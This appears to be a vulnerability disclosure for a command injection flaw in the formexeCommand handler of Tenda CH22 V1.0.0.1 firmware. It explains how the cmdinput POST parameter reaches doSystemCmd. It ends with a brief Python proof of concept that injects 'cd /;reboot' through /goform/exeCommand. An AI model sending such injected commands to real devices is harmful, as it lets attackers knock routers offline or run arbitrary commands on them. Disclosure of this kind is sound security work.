CH22 V1.0.0.1
The Tenda CH22 V1.0.0.1 firmware has a command injection vulnerability in the formexeCommand function. The src variable receives the cmdinput parameter from a POST request and is later passed to the strcpy function. In this function, the src variable is passed as the s parameter.

The sub_4F634(path_buf, s, v1) then parses s and writes it into path_buf : If the field starts with /, it overwrites path_buf from the beginning; otherwise it appends starting at offset v1 (the end of the existing path_buf content). A trailing / and null terminator are added, and the result is stored back into path_buf.

However, since the Since user can control the input of cmdinput, the statemeant doSystemCmd("echo %s > /tmp/cmdTmp.txt", path_buf); can cause a command injection.
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/exeCommand'
payload = 'cd /;reboot'
data = {"cmdinput": payload}
requests.post(url, data=data)
